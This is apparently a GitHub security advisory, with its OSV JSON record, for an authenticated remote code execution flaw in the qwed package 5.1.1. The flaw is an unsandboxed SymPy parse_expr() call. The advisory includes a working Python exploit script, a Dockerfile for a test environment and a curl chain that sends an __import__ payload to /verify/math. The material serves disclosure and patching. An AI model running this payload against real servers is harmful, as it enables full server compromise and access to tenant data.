GHSA-Q27Q-98J4-9PFV
Vulnerability from github – Published: 2026-08-25 16:25 – Updated: 2026-08-25 16:25Summary
The qwed package (version 5.1.1) passes attacker-controlled input directly to SymPy's parse_expr() function without a restricted namespace. Because parse_expr() internally calls Python's eval(), any authenticated tenant can execute arbitrary Python code inside the API server process. The attack requires only a standard user account, which is freely obtainable through the default-enabled /auth/signup endpoint. Successful exploitation gives the attacker full read/write access to the filesystem and the ability to execute operating system commands, resulting in complete server compromise.
Details
The vulnerability exists in two independently reachable code paths:
Primary sink — POST /verify/math
src/qwed_new/api/main.py:442 defines the /verify/math route, protected only by get_current_tenant (line 444), which accepts any valid tenant API key. The request body field expression is read at line 463 and passed through a cosmetic regex normalization at line 495 (re.sub(r'(\d)(\()', r'\1*\2', expression)) that performs no security validation. The normalized string is then passed directly to parse_expr() at line 504:
# src/qwed_new/api/main.py
expression = request.get("expression")
...
expression_normalized = re.sub(r'(\d)(\()', r'\1*\2', expression)
...
parsed = parse_expr(expression_normalized) # line 504 — unsandboxed eval
Secondary sink — POST /verify/batch
src/qwed_new/api/main.py:1481 defines the /verify/batch route. Batch items flow through batch_service.create_job() (line 1517) into batch.py:132 where item.query is stored verbatim, then processed by _verify_item() (line 167). When the item type is VerificationType.MATH (line 222), the expression is passed to parse_expr() at line 239 with no sanitization:
# src/qwed_new/core/batch.py
expression = item.query
...
parsed = parse_expr(expression) # line 239 — unsandboxed eval
parse_expr() accepts a global_dict and local_dict parameter that, when set to {"__builtins__": {}} and an allowlist respectively, restrict what names are accessible during evaluation. Neither call site sets these parameters, leaving the full Python built-in namespace available to the attacker.
PoC
Environment setup (Docker)
# Build from repository root (one level above vuln-001/)
docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .
# Run the server (binds to localhost:8765)
docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001
The Dockerfile installs qwed from the local repository source with all dependencies and starts the server with the following environment:
QWED_JWT_SECRET_KEY=test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789API_KEY_SECRET=test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789QWED_CORS_ORIGINS=http://localhostQWED_SKIP_ENV_INTEGRITY_CHECK=trueDATABASE_URL=sqlite:////tmp/qwed-poc.db
Automated exploit (poc.py)
python3 vuln-001/poc.py --host 127.0.0.1 --port 8765
The script performs three steps:
- Register an account —
POST /auth/signupwith arbitrary email/password/organization (no invite code or admin approval required). - Obtain an API key —
POST /auth/api-keysusing the JWT returned from signup. - Send the RCE payload —
POST /verify/mathwith thex-api-keyheader and the expression:
__import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')
Expected output
[+] Server is ready.
[+] Account created; JWT bearer token obtained.
[+] API key (first 20 chars): qwed_live_WwNm86Fpnh...
[*] expression = __import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')
[*] HTTP status : 200
[*] HTTP response: {"is_valid": true, "value": 23.0, "simplified": "23", "original": "23"}
[PASS] HTTP 200 returned — payload evaluated without error.
The server returns HTTP 200 and {"value": 23.0} — the return value of write_text() (23 bytes written), cast by SymPy to Integer(23). This proves the Python expression was executed inside the server process.
Decisive verification
docker exec qwed-vuln-001 cat /tmp/qwed_parse_expr_rce
# Expected: pwned_by_parse_expr_rce
The same technique applies to POST /verify/batch by submitting a batch job with a math item whose query field contains the payload; a separate marker file /tmp/qwed_batch_parse_expr_rce was also confirmed during dynamic testing.
Manual curl reproduction (no Python script)
# Step 1: sign up and capture JWT
TOKEN=$(curl -sS -X POST http://127.0.0.1:8765/auth/signup \
-H 'Content-Type: application/json' \
-d '{"email":"poc@example.com","password":"Password123!","organization_name":"poc-org"}' \
| python3 -c 'import sys,json; print(json.load(sys.stdin)["access_token"])')
# Step 2: create API key
APIKEY=$(curl -sS -X POST http://127.0.0.1:8765/auth/api-keys \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $TOKEN" \
-d '{"name":"poc"}' \
| python3 -c 'import sys,json; print(json.load(sys.stdin)["key"])')
# Step 3: send payload
rm -f /tmp/qwed_parse_expr_rce
curl -sS -X POST http://127.0.0.1:8765/verify/math \
-H 'Content-Type: application/json' \
-H "x-api-key: $APIKEY" \
-d '{"expression":"__import__('"'"'pathlib'"'"').Path('"'"'/tmp/qwed_parse_expr_rce'"'"').write_text('"'"'owned'"'"')"}'
# Step 4: confirm file was written by the server process
cat /tmp/qwed_parse_expr_rce
# Expected: owned
Impact
This is an Authenticated Remote Code Execution vulnerability. Any user who can create a tenant account (which is possible by default, since /auth/signup requires no invitation or administrator approval) can execute arbitrary Python code inside the API server process with the privileges of the server's operating system user.
Concrete impact includes:
- Confidentiality — read any file accessible to the server process (environment variables, secret keys, database contents, source code).
- Integrity — write or overwrite any file accessible to the server process, modify database records, plant backdoors.
- Availability — terminate the server process, exhaust resources, corrupt persistent storage.
In a shared multi-tenant deployment, a single tenant can compromise the entire server, affecting all other tenants' data. In a containerized deployment, the immediate impact is container-level compromise; lateral movement depends on the container's network and volume configuration.
Reproduction artifacts
Dockerfile
# VULN-001 Reproduction Environment
# Authenticated RCE via Unsafe SymPy parse_expr() in QWED 5.1.1
#
# Build from the repo root (one level above vuln-001/):
# docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .
#
# Run:
# docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001
FROM python:3.12-slim-bookworm
ENV PYTHONDONTWRITEBYTECODE=1 \
PYTHONUNBUFFERED=1
WORKDIR /app
# Install minimal build dependencies required by some native extensions
RUN apt-get update \
&& apt-get install -y --no-install-recommends gcc g++ \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
# Copy the repository source
COPY repo/ /app/repo/
# Install hatchling build backend, then install the package with all dependencies
# z3-solver==4.13.3.0 is pinned in pyproject.toml; wheels are available for CPython 3.12
RUN pip install --no-cache-dir --upgrade pip hatchling \
&& pip install --no-cache-dir -e /app/repo
# Runtime environment variables — minimal set required to start the server
ENV QWED_JWT_SECRET_KEY="test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789" \
API_KEY_SECRET="test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789" \
QWED_CORS_ORIGINS="http://localhost" \
QWED_SKIP_ENV_INTEGRITY_CHECK="true" \
DATABASE_URL="sqlite:////tmp/qwed-poc.db"
EXPOSE 8765
CMD ["python3", "-m", "uvicorn", "qwed_new.api.main:app", \
"--host", "0.0.0.0", "--port", "8765", "--log-level", "warning"]
poc.py
#!/usr/bin/env python3
"""
Proof of Concept: Authenticated RCE via Unsafe SymPy parse_expr() — VULN-001
Affected product : QWED 5.1.1 (QWED-AI/qwed-verification)
Endpoint : POST /verify/math
CWE : CWE-94 — Improper Control of Code Generation
CVSS : 8.8 (High) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Root cause:
src/qwed_new/api/main.py:504 passes attacker-controlled input directly to
sympy.parsing.sympy_parser.parse_expr() without a restricted global/local
namespace. parse_expr() internally calls eval(), so any valid Python
expression — including __import__() calls — is executed server-side.
Exploit chain:
1. Register an account via POST /auth/signup (open to any user by default)
2. Obtain an API key via POST /auth/api-keys
3. POST /verify/math with expression=<python code>
The code runs inside the server process.
Observable evidence:
- HTTP 200 response (not 4xx/5xx) proves the payload was evaluated
- A marker file is written inside the container; verify with:
docker exec <container> cat /tmp/qwed_parse_expr_rce
Expected content: "pwned_by_parse_expr_rce"
Usage:
python3 poc.py [--host 127.0.0.1] [--port 8765]
"""
import argparse
import json
import sys
import time
import requests
# Path written inside the server process by the RCE payload
RCE_MARKER_PATH = "/tmp/qwed_parse_expr_rce"
# Content written to the marker file (must not contain quotes)
RCE_MARKER_CONTENT = "pwned_by_parse_expr_rce"
def wait_for_server(base_url: str, timeout: int = 90) -> bool:
"""Poll the server health endpoint until it responds or timeout expires."""
print(f"[*] Waiting for server at {base_url} (up to {timeout}s)...")
deadline = time.time() + timeout
while time.time() < deadline:
try:
r = requests.get(f"{base_url}/health", timeout=2)
if r.status_code < 500:
return True
except requests.exceptions.ConnectionError:
pass
time.sleep(2)
return False
def signup(base_url: str) -> str:
"""
Create an attacker-controlled account and return the JWT bearer token.
/auth/signup is enabled by default and requires no prior authorization.
"""
payload = {
"email": "poc-attacker@example.com",
"password": "Attacker1234!",
"organization_name": "vuln001-attacker-org",
}
r = requests.post(f"{base_url}/auth/signup", json=payload, timeout=15)
if r.status_code == 400 and "already registered" in r.text:
# Account exists from a previous run; sign in instead
sign_in_payload = {
"email": payload["email"],
"password": payload["password"],
}
r = requests.post(f"{base_url}/auth/signin", json=sign_in_payload, timeout=15)
r.raise_for_status()
token = r.json()["access_token"]
return token
def create_api_key(base_url: str, bearer_token: str) -> str:
"""
Create an API key for the attacker account.
Returns the plaintext key (shown only once by the API).
"""
headers = {"Authorization": f"Bearer {bearer_token}"}
r = requests.post(
f"{base_url}/auth/api-keys",
json={"name": "vuln001-poc"},
headers=headers,
timeout=15,
)
r.raise_for_status()
return r.json()["key"]
def exploit(base_url: str, api_key: str) -> dict:
"""
Send the RCE payload to POST /verify/math.
The expression uses pathlib.Path.write_text() which:
- Writes RCE_MARKER_CONTENT to RCE_MARKER_PATH inside the server process
- Returns an integer (bytes written) that parse_expr() can handle without
raising an exception, making the side-effect transparent to the caller
The absence of an error and a 200 status code proves code execution.
"""
expression = (
f"__import__('pathlib')"
f".Path('{RCE_MARKER_PATH}')"
f".write_text('{RCE_MARKER_CONTENT}')"
)
headers = {
"Content-Type": "application/json",
"x-api-key": api_key,
}
r = requests.post(
f"{base_url}/verify/math",
json={"expression": expression},
headers=headers,
timeout=20,
)
content_type = r.headers.get("content-type", "")
body = r.json() if "application/json" in content_type else r.text
return {"status_code": r.status_code, "body": body}
def main() -> None:
parser = argparse.ArgumentParser(
description="PoC for VULN-001: Authenticated RCE via SymPy parse_expr() in QWED 5.1.1"
)
parser.add_argument("--host", default="127.0.0.1", help="API server host")
parser.add_argument("--port", type=int, default=8765, help="API server port")
args = parser.parse_args()
base_url = f"http://{args.host}:{args.port}"
# ── Step 0: wait for server ──────────────────────────────────────────────
if not wait_for_server(base_url):
print("[FAIL] Server did not become ready within the timeout.")
sys.exit(1)
print("[+] Server is ready.\n")
# ── Step 1: sign up ──────────────────────────────────────────────────────
print("[*] Step 1/3: Creating attacker account via POST /auth/signup")
bearer_token = signup(base_url)
print("[+] Account created; JWT bearer token obtained.\n")
# ── Step 2: API key ──────────────────────────────────────────────────────
print("[*] Step 2/3: Obtaining API key via POST /auth/api-keys")
api_key = create_api_key(base_url, bearer_token)
print(f"[+] API key (first 20 chars): {api_key[:20]}...\n")
# ── Step 3: exploit ──────────────────────────────────────────────────────
rce_expression = (
f"__import__('pathlib')"
f".Path('{RCE_MARKER_PATH}')"
f".write_text('{RCE_MARKER_CONTENT}')"
)
print("[*] Step 3/3: Sending RCE payload to POST /verify/math")
print(f" expression = {rce_expression}\n")
result = exploit(base_url, api_key)
print(f"[*] HTTP status : {result['status_code']}")
print(f"[*] HTTP response:\n{json.dumps(result['body'], indent=2)}\n")
if result["status_code"] == 200:
print("=" * 60)
print("[PASS] HTTP 200 returned — payload evaluated without error.")
print(f" The server wrote '{RCE_MARKER_CONTENT}' to {RCE_MARKER_PATH}")
print()
print(" Verify decisive evidence inside the container:")
print(f" docker exec qwed-vuln-001 cat {RCE_MARKER_PATH}")
print("=" * 60)
sys.exit(0)
else:
print(f"[FAIL] Unexpected HTTP {result['status_code']} — exploit did not succeed.")
sys.exit(2)
if __name__ == "__main__":
main()
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "qwed"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55585"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T16:25:19Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe `qwed` package (version 5.1.1) passes attacker-controlled input directly to SymPy\u0027s `parse_expr()` function without a restricted namespace. Because `parse_expr()` internally calls Python\u0027s `eval()`, any authenticated tenant can execute arbitrary Python code inside the API server process. The attack requires only a standard user account, which is freely obtainable through the default-enabled `/auth/signup` endpoint. Successful exploitation gives the attacker full read/write access to the filesystem and the ability to execute operating system commands, resulting in complete server compromise.\n\n### Details\n\nThe vulnerability exists in two independently reachable code paths:\n\n**Primary sink \u2014 `POST /verify/math`**\n\n`src/qwed_new/api/main.py:442` defines the `/verify/math` route, protected only by `get_current_tenant` (line 444), which accepts any valid tenant API key. The request body field `expression` is read at line 463 and passed through a cosmetic regex normalization at line 495 (`re.sub(r\u0027(\\d)(\\()\u0027, r\u0027\\1*\\2\u0027, expression)`) that performs no security validation. The normalized string is then passed directly to `parse_expr()` at line 504:\n\n```python\n# src/qwed_new/api/main.py\nexpression = request.get(\"expression\")\n...\nexpression_normalized = re.sub(r\u0027(\\d)(\\()\u0027, r\u0027\\1*\\2\u0027, expression)\n...\nparsed = parse_expr(expression_normalized) # line 504 \u2014 unsandboxed eval\n```\n\n**Secondary sink \u2014 `POST /verify/batch`**\n\n`src/qwed_new/api/main.py:1481` defines the `/verify/batch` route. Batch items flow through `batch_service.create_job()` (line 1517) into `batch.py:132` where `item.query` is stored verbatim, then processed by `_verify_item()` (line 167). When the item type is `VerificationType.MATH` (line 222), the expression is passed to `parse_expr()` at line 239 with no sanitization:\n\n```python\n# src/qwed_new/core/batch.py\nexpression = item.query\n...\nparsed = parse_expr(expression) # line 239 \u2014 unsandboxed eval\n```\n\n`parse_expr()` accepts a `global_dict` and `local_dict` parameter that, when set to `{\"__builtins__\": {}}` and an allowlist respectively, restrict what names are accessible during evaluation. Neither call site sets these parameters, leaving the full Python built-in namespace available to the attacker.\n\n### PoC\n\n**Environment setup (Docker)**\n\n```bash\n# Build from repository root (one level above vuln-001/)\ndocker build -t qwed-vuln-001 -f vuln-001/Dockerfile .\n\n# Run the server (binds to localhost:8765)\ndocker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001\n```\n\nThe Dockerfile installs `qwed` from the local repository source with all dependencies and starts the server with the following environment:\n\n- `QWED_JWT_SECRET_KEY=test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789`\n- `API_KEY_SECRET=test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789`\n- `QWED_CORS_ORIGINS=http://localhost`\n- `QWED_SKIP_ENV_INTEGRITY_CHECK=true`\n- `DATABASE_URL=sqlite:////tmp/qwed-poc.db`\n\n**Automated exploit (`poc.py`)**\n\n```bash\npython3 vuln-001/poc.py --host 127.0.0.1 --port 8765\n```\n\nThe script performs three steps:\n\n1. **Register an account** \u2014 `POST /auth/signup` with arbitrary email/password/organization (no invite code or admin approval required).\n2. **Obtain an API key** \u2014 `POST /auth/api-keys` using the JWT returned from signup.\n3. **Send the RCE payload** \u2014 `POST /verify/math` with the `x-api-key` header and the expression:\n\n```\n__import__(\u0027pathlib\u0027).Path(\u0027/tmp/qwed_parse_expr_rce\u0027).write_text(\u0027pwned_by_parse_expr_rce\u0027)\n```\n\n**Expected output**\n\n```\n[+] Server is ready.\n[+] Account created; JWT bearer token obtained.\n[+] API key (first 20 chars): qwed_live_WwNm86Fpnh...\n[*] expression = __import__(\u0027pathlib\u0027).Path(\u0027/tmp/qwed_parse_expr_rce\u0027).write_text(\u0027pwned_by_parse_expr_rce\u0027)\n[*] HTTP status : 200\n[*] HTTP response: {\"is_valid\": true, \"value\": 23.0, \"simplified\": \"23\", \"original\": \"23\"}\n[PASS] HTTP 200 returned \u2014 payload evaluated without error.\n```\n\nThe server returns HTTP 200 and `{\"value\": 23.0}` \u2014 the return value of `write_text()` (23 bytes written), cast by SymPy to `Integer(23)`. This proves the Python expression was executed inside the server process.\n\n**Decisive verification**\n\n```bash\ndocker exec qwed-vuln-001 cat /tmp/qwed_parse_expr_rce\n# Expected: pwned_by_parse_expr_rce\n```\n\nThe same technique applies to `POST /verify/batch` by submitting a batch job with a math item whose `query` field contains the payload; a separate marker file `/tmp/qwed_batch_parse_expr_rce` was also confirmed during dynamic testing.\n\n**Manual curl reproduction (no Python script)**\n\n```bash\n# Step 1: sign up and capture JWT\nTOKEN=$(curl -sS -X POST http://127.0.0.1:8765/auth/signup \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"email\":\"poc@example.com\",\"password\":\"Password123!\",\"organization_name\":\"poc-org\"}\u0027 \\\n | python3 -c \u0027import sys,json; print(json.load(sys.stdin)[\"access_token\"])\u0027)\n\n# Step 2: create API key\nAPIKEY=$(curl -sS -X POST http://127.0.0.1:8765/auth/api-keys \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -d \u0027{\"name\":\"poc\"}\u0027 \\\n | python3 -c \u0027import sys,json; print(json.load(sys.stdin)[\"key\"])\u0027)\n\n# Step 3: send payload\nrm -f /tmp/qwed_parse_expr_rce\ncurl -sS -X POST http://127.0.0.1:8765/verify/math \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \"x-api-key: $APIKEY\" \\\n -d \u0027{\"expression\":\"__import__(\u0027\"\u0027\"\u0027pathlib\u0027\"\u0027\"\u0027).Path(\u0027\"\u0027\"\u0027/tmp/qwed_parse_expr_rce\u0027\"\u0027\"\u0027).write_text(\u0027\"\u0027\"\u0027owned\u0027\"\u0027\"\u0027)\"}\u0027\n\n# Step 4: confirm file was written by the server process\ncat /tmp/qwed_parse_expr_rce\n# Expected: owned\n```\n\n### Impact\n\nThis is an **Authenticated Remote Code Execution** vulnerability. Any user who can create a tenant account (which is possible by default, since `/auth/signup` requires no invitation or administrator approval) can execute arbitrary Python code inside the API server process with the privileges of the server\u0027s operating system user.\n\nConcrete impact includes:\n\n- **Confidentiality** \u2014 read any file accessible to the server process (environment variables, secret keys, database contents, source code).\n- **Integrity** \u2014 write or overwrite any file accessible to the server process, modify database records, plant backdoors.\n- **Availability** \u2014 terminate the server process, exhaust resources, corrupt persistent storage.\n\nIn a shared multi-tenant deployment, a single tenant can compromise the entire server, affecting all other tenants\u0027 data. In a containerized deployment, the immediate impact is container-level compromise; lateral movement depends on the container\u0027s network and volume configuration.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 Reproduction Environment\n# Authenticated RCE via Unsafe SymPy parse_expr() in QWED 5.1.1\n#\n# Build from the repo root (one level above vuln-001/):\n# docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .\n#\n# Run:\n# docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001\n\nFROM python:3.12-slim-bookworm\n\nENV PYTHONDONTWRITEBYTECODE=1 \\\n PYTHONUNBUFFERED=1\n\nWORKDIR /app\n\n# Install minimal build dependencies required by some native extensions\nRUN apt-get update \\\n \u0026\u0026 apt-get install -y --no-install-recommends gcc g++ \\\n \u0026\u0026 apt-get clean \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# Copy the repository source\nCOPY repo/ /app/repo/\n\n# Install hatchling build backend, then install the package with all dependencies\n# z3-solver==4.13.3.0 is pinned in pyproject.toml; wheels are available for CPython 3.12\nRUN pip install --no-cache-dir --upgrade pip hatchling \\\n \u0026\u0026 pip install --no-cache-dir -e /app/repo\n\n# Runtime environment variables \u2014 minimal set required to start the server\nENV QWED_JWT_SECRET_KEY=\"test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789\" \\\n API_KEY_SECRET=\"test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789\" \\\n QWED_CORS_ORIGINS=\"http://localhost\" \\\n QWED_SKIP_ENV_INTEGRITY_CHECK=\"true\" \\\n DATABASE_URL=\"sqlite:////tmp/qwed-poc.db\"\n\nEXPOSE 8765\n\nCMD [\"python3\", \"-m\", \"uvicorn\", \"qwed_new.api.main:app\", \\\n \"--host\", \"0.0.0.0\", \"--port\", \"8765\", \"--log-level\", \"warning\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof of Concept: Authenticated RCE via Unsafe SymPy parse_expr() \u2014 VULN-001\n\nAffected product : QWED 5.1.1 (QWED-AI/qwed-verification)\nEndpoint : POST /verify/math\nCWE : CWE-94 \u2014 Improper Control of Code Generation\nCVSS : 8.8 (High) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\nRoot cause:\n src/qwed_new/api/main.py:504 passes attacker-controlled input directly to\n sympy.parsing.sympy_parser.parse_expr() without a restricted global/local\n namespace. parse_expr() internally calls eval(), so any valid Python\n expression \u2014 including __import__() calls \u2014 is executed server-side.\n\nExploit chain:\n 1. Register an account via POST /auth/signup (open to any user by default)\n 2. Obtain an API key via POST /auth/api-keys\n 3. POST /verify/math with expression=\u003cpython code\u003e\n The code runs inside the server process.\n\nObservable evidence:\n - HTTP 200 response (not 4xx/5xx) proves the payload was evaluated\n - A marker file is written inside the container; verify with:\n docker exec \u003ccontainer\u003e cat /tmp/qwed_parse_expr_rce\n Expected content: \"pwned_by_parse_expr_rce\"\n\nUsage:\n python3 poc.py [--host 127.0.0.1] [--port 8765]\n\"\"\"\n\nimport argparse\nimport json\nimport sys\nimport time\n\nimport requests\n\n# Path written inside the server process by the RCE payload\nRCE_MARKER_PATH = \"/tmp/qwed_parse_expr_rce\"\n# Content written to the marker file (must not contain quotes)\nRCE_MARKER_CONTENT = \"pwned_by_parse_expr_rce\"\n\n\ndef wait_for_server(base_url: str, timeout: int = 90) -\u003e bool:\n \"\"\"Poll the server health endpoint until it responds or timeout expires.\"\"\"\n print(f\"[*] Waiting for server at {base_url} (up to {timeout}s)...\")\n deadline = time.time() + timeout\n while time.time() \u003c deadline:\n try:\n r = requests.get(f\"{base_url}/health\", timeout=2)\n if r.status_code \u003c 500:\n return True\n except requests.exceptions.ConnectionError:\n pass\n time.sleep(2)\n return False\n\n\ndef signup(base_url: str) -\u003e str:\n \"\"\"\n Create an attacker-controlled account and return the JWT bearer token.\n /auth/signup is enabled by default and requires no prior authorization.\n \"\"\"\n payload = {\n \"email\": \"poc-attacker@example.com\",\n \"password\": \"Attacker1234!\",\n \"organization_name\": \"vuln001-attacker-org\",\n }\n r = requests.post(f\"{base_url}/auth/signup\", json=payload, timeout=15)\n if r.status_code == 400 and \"already registered\" in r.text:\n # Account exists from a previous run; sign in instead\n sign_in_payload = {\n \"email\": payload[\"email\"],\n \"password\": payload[\"password\"],\n }\n r = requests.post(f\"{base_url}/auth/signin\", json=sign_in_payload, timeout=15)\n r.raise_for_status()\n token = r.json()[\"access_token\"]\n return token\n\n\ndef create_api_key(base_url: str, bearer_token: str) -\u003e str:\n \"\"\"\n Create an API key for the attacker account.\n Returns the plaintext key (shown only once by the API).\n \"\"\"\n headers = {\"Authorization\": f\"Bearer {bearer_token}\"}\n r = requests.post(\n f\"{base_url}/auth/api-keys\",\n json={\"name\": \"vuln001-poc\"},\n headers=headers,\n timeout=15,\n )\n r.raise_for_status()\n return r.json()[\"key\"]\n\n\ndef exploit(base_url: str, api_key: str) -\u003e dict:\n \"\"\"\n Send the RCE payload to POST /verify/math.\n\n The expression uses pathlib.Path.write_text() which:\n - Writes RCE_MARKER_CONTENT to RCE_MARKER_PATH inside the server process\n - Returns an integer (bytes written) that parse_expr() can handle without\n raising an exception, making the side-effect transparent to the caller\n\n The absence of an error and a 200 status code proves code execution.\n \"\"\"\n expression = (\n f\"__import__(\u0027pathlib\u0027)\"\n f\".Path(\u0027{RCE_MARKER_PATH}\u0027)\"\n f\".write_text(\u0027{RCE_MARKER_CONTENT}\u0027)\"\n )\n headers = {\n \"Content-Type\": \"application/json\",\n \"x-api-key\": api_key,\n }\n r = requests.post(\n f\"{base_url}/verify/math\",\n json={\"expression\": expression},\n headers=headers,\n timeout=20,\n )\n content_type = r.headers.get(\"content-type\", \"\")\n body = r.json() if \"application/json\" in content_type else r.text\n return {\"status_code\": r.status_code, \"body\": body}\n\n\ndef main() -\u003e None:\n parser = argparse.ArgumentParser(\n description=\"PoC for VULN-001: Authenticated RCE via SymPy parse_expr() in QWED 5.1.1\"\n )\n parser.add_argument(\"--host\", default=\"127.0.0.1\", help=\"API server host\")\n parser.add_argument(\"--port\", type=int, default=8765, help=\"API server port\")\n args = parser.parse_args()\n\n base_url = f\"http://{args.host}:{args.port}\"\n\n # \u2500\u2500 Step 0: wait for server \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n if not wait_for_server(base_url):\n print(\"[FAIL] Server did not become ready within the timeout.\")\n sys.exit(1)\n print(\"[+] Server is ready.\\n\")\n\n # \u2500\u2500 Step 1: sign up \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(\"[*] Step 1/3: Creating attacker account via POST /auth/signup\")\n bearer_token = signup(base_url)\n print(\"[+] Account created; JWT bearer token obtained.\\n\")\n\n # \u2500\u2500 Step 2: API key \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(\"[*] Step 2/3: Obtaining API key via POST /auth/api-keys\")\n api_key = create_api_key(base_url, bearer_token)\n print(f\"[+] API key (first 20 chars): {api_key[:20]}...\\n\")\n\n # \u2500\u2500 Step 3: exploit \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n rce_expression = (\n f\"__import__(\u0027pathlib\u0027)\"\n f\".Path(\u0027{RCE_MARKER_PATH}\u0027)\"\n f\".write_text(\u0027{RCE_MARKER_CONTENT}\u0027)\"\n )\n print(\"[*] Step 3/3: Sending RCE payload to POST /verify/math\")\n print(f\" expression = {rce_expression}\\n\")\n\n result = exploit(base_url, api_key)\n\n print(f\"[*] HTTP status : {result[\u0027status_code\u0027]}\")\n print(f\"[*] HTTP response:\\n{json.dumps(result[\u0027body\u0027], indent=2)}\\n\")\n\n if result[\"status_code\"] == 200:\n print(\"=\" * 60)\n print(\"[PASS] HTTP 200 returned \u2014 payload evaluated without error.\")\n print(f\" The server wrote \u0027{RCE_MARKER_CONTENT}\u0027 to {RCE_MARKER_PATH}\")\n print()\n print(\" Verify decisive evidence inside the container:\")\n print(f\" docker exec qwed-vuln-001 cat {RCE_MARKER_PATH}\")\n print(\"=\" * 60)\n sys.exit(0)\n else:\n print(f\"[FAIL] Unexpected HTTP {result[\u0027status_code\u0027]} \u2014 exploit did not succeed.\")\n sys.exit(2)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-q27q-98j4-9pfv",
"modified": "2026-08-25T16:25:19Z",
"published": "2026-08-25T16:25:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/QWED-AI/qwed-verification/security/advisories/GHSA-q27q-98j4-9pfv"
},
{
"type": "WEB",
"url": "https://github.com/QWED-AI/qwed-verification/pull/200"
},
{
"type": "WEB",
"url": "https://github.com/QWED-AI/qwed-verification/commit/6066b68c0c4f4cc2c3771824822aaa864d082ef8"
},
{
"type": "WEB",
"url": "https://github.com/QWED-AI/qwed-verification/commit/dc9d4db72ca4b4ae3f96d0e6a0c27a9e38a06f61"
},
{
"type": "PACKAGE",
"url": "https://github.com/QWED-AI/qwed-verification"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "qwed Vulnerable to Authenticated Remote Code Execution via Unsafe SymPy `parse_expr()`"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.